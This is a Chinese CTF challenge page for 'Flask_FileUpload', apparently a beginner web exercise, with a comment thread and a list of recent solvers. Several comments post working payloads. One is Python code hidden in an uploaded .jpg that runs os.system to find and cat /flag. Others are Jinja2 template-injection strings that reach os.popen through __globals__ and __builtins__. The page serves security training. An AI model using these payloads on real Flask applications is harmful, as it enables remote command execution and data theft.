Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12656
提  示:
描  述:
Flask_FileUpload
评论
沐雨赏心 4年前

为什么我出现了这个 python3: can't open file '/app/upload/新建文本文档.jpg': [Errno 2] No such file or directory -->

回复 1
NYangY 3年前

文件名使用英文吧

回复 0

wangwenjie 4年前

在上传的jpg中写入,import os os.system('find /* |grep flag')来查找flag,之后在找到的内容中cat /flag就好了

回复 3

Shoejust13 4年前

print("t-->{{''.__class__.__mro__[-1].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}<!--t")#另解法

回复 2
timtoc 2年前

@1745090646 url/{{config.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}},回车后页面显示404.not found是咋回事大佬

回复 0

1745090646 4年前

这个在那种回显容易看的那种好用,但是这道题,需要找子类在哪个位子,直接用{{config.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}就行,不过谢谢你让我想到这个方法

回复 3

asdda 4年前

6666

回复 0

2773584039 4年前

666

回复 0

innocence 4年前

为什么我的py文件运行出来说“'cat' 不是内部或外部命令,也不是可运行的程序或批处理文件”呢?是我的编译环境没设置好吗 求解答

回复 0

ggtiancai 4年前

import os os.system('ls /') #列出根目录下所有文件 os.system('cat /flag')

回复 0

dust 4年前

print(open('/flag','r').read())

回复 3

◔̯◔ 4年前

上传成功后,朋友和我上传的文件格式和文件名一样,他出flag了,但是我的提示了<!-- sh: cat/flag: not found -->

回复 0
linuxweb321 4年前

是cat空格/flag,你报错说没有cat/flag这个命令

回复 3

snnxyss 4年前

提示说会执行python代码,调用python可以执行外部命令的函数,查看就行

回复 0

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

小崔 攻破了该题 19小时前
宋砚 攻破了该题 1天前
FlyXz 攻破了该题 1天前
1302074808 攻破了该题 1天前
haidaduck 攻破了该题 3天前
Tychema 攻破了该题 3天前
anton_小金鱼 攻破了该题 5天前
cha8e1 攻破了该题 5天前
yehlg 攻破了该题 6天前
yu'c 攻破了该题 7天前
SingA_Song 攻破了该题 7天前
Kernel1 攻破了该题 7天前
脚本gay 攻破了该题 7天前
YS_JW 攻破了该题 8天前
池屿 攻破了该题 8天前
wujita01 攻破了该题 9天前
hsk_zy 攻破了该题 9天前
zhuguangsen 攻破了该题 9天前
Hackerchen 攻破了该题 10天前
mmhhdm 攻破了该题 10天前
问题反馈